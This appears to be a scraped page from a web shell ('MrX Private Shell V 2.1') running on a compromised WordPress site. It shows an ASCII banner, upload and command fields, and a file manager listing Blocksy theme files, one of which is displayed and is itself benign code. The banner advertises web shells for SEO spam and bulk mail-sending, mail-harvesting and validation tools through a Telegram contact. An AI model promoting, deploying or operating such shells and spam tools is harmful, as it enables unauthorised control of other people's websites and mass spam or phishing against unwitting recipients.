__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy;

class ArchiveTitleRenderer {
	private $has_label = false;

	public function __construct($args = []) {
		$args = wp_parse_args($args, [
			'has_label' => false
		]);

		$this->has_label = $args['has_label'];
	}

	public function render_title($title, $original_title, $prefix) {
		if (! $this->has_label) {
			return $original_title;
		}

		return blocksy_html_tag(
			'span',
			[
				'class' => 'ct-title-label'
			],
			rtrim(trim($prefix), ':')
		) . ' ' . $original_title;
	}

	public function get_the_archive_title() {
		$this->start_rendering();

		$title = get_the_archive_title();

		$this->finish_rendering();

		return $title;
	}

	private function start_rendering() {
		add_filter(
			'get_the_archive_title',
			[$this, 'render_title'],

			// Start rendering early, so that someone that alters the title
			// later will get our changes.
			1,
			3
		);
	}

	private function finish_rendering() {
		remove_filter(
			'get_the_archive_title',
			[$this, 'render_title'],

			// Start rendering early, so that someone that alters the title
			// later will get our changes.
			1,
			3
		);
	}
}

Filemanager

Name Type Size Permission Actions
db-versioning Folder 0750
StringHelpers.php File 1.54 KB 0640
archive-title-renderer.php File 1.11 KB 0640
autoload.php File 6.7 KB 0640
blocksy-blocks-parser.php File 941 B 0640
blocksy-walker-page.php File 1.06 KB 0640
class-ct-attributes-parser.php File 6.67 KB 0640
class-ct-css-injector.php File 7.06 KB 0640
class-ct-group-title.php File 1.12 KB 0640
colors.php File 2.28 KB 0640
database.php File 584 B 0640
entity-id-picker.php File 6.39 KB 0640
hooks-manager.php File 3.63 KB 0640
print.php File 5.19 KB 0640
raii.php File 255 B 0640
screen-manager.php File 14.04 KB 0640
theme-db-versioning.php File 36.14 KB 0640
trait-wordpress-actions-manager.php File 2.01 KB 0640
translations-manager.php File 8.9 KB 0640
woo-import-export.php File 7.61 KB 0640
woo-variation-images-import-export.php File 2.44 KB 0640
Filemanager